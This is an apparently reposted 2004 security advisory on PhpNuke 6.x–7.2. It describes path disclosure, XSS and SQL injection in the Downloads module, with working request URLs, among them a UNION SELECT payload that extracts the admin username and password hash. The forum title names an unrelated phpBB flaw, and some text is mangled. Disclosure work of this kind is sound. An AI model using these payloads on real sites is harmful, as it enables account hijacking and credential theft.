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13-06-2007, 12.19.04
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pBB 2.0.8a and lower - IP spoofing vulnerability
{================================================= ===============================}
{ [waraxe-2004-SA#027] } {================================================= ===============================} { } { [ Once again - critical vulnerabilities in PhpNuke 6.x - 7.2 ] } { } {================================================= ===============================} Author Janek Vind "waraxe" Date 05. May 2004 Location Estonia, Tartu Web //waraxe.us/index.php?modname=sa&id=27 Affected software description ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke is a popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it's freeware, easy to install and has broad set of features. Homepage //phpnuke.org Vulnerabilities ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A. Full path disclosure A1 - unsanitaized user submitted variable "show" can triger standard php error messages, revealing full path to script - information, needed for potential hacker. Example make request like this //localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&a mp;cid=2&show=foobar and error message appears Warning Division by zero in D\apache_oot\nuke72\modules\Downloads\index.php on line 797 B. Cross-site scripting aka XSS XSS can be used for cookie stealing, and because in PhpNuke authentication-related information is stored in cookies, account's hijacking and ID spoof can happen. B1 - XSS through unsanitaized user submitted variable "ttitle" //localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&a mp;lid=0&ttitle=[xss code here] //localhost/nuke72/modules.php?name=Downloads&d_op=ratedownload&a mp;lid=0&ttitle=<body onload=document.title=1337> B2 - XSS through unsanitaized user submitted variable "sid" //localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload& amp;sid=[xss code here] C. Sql injection C1 - noncritical sql injection through unsanitaized user submitted variable "orderby" //localhost/nuke72/modules.php?name=Downloads&d_op=viewdownload&a mp;cid=2&orderby=foobar C3 - critical sql injection through unsanitaized user submitted variable "sid" Let's look at original code from "nuke72/modules/Downloads/index.php" line 901 $result=$db->sql_query(" SELECT lid, url, title, description, date, hits, downloadratingsummary, totalvotes, totaments, filesize, version, homepage FROM ".$prefix."_downloads_downloads WHERE sid=$sid order by $orderby limit $min,$perpage "); Oops, "$sid" variable is unquoted in sql query. Scary... What, if we request something like //localhost/nuke72/modules.php?name=Downloads&d_op=viewsdownload& amp;sid=-1/**/UNION/**/SELECT/**/0,0,aid,pwd,0,0,0,0,0,0,0,0/**/FROM/**/nuke_authors/**/WHERE/**/radminsuper=1/**/LIMIT/**/1/* Cool - admin's username and password's md5 hash in plaintext Have a nice day! Greetings ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused! Special greets to //gamecheaters.us staff!_________________Faq - Contratti - Video Tutorial 
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